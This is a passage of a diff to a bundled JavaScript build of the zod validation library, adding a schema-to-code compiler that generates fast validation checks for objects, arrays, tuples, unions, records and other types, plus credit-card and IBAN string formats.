doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -65355,6 +69530,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -65413,20 +69608,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -65768,6 +69954,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function 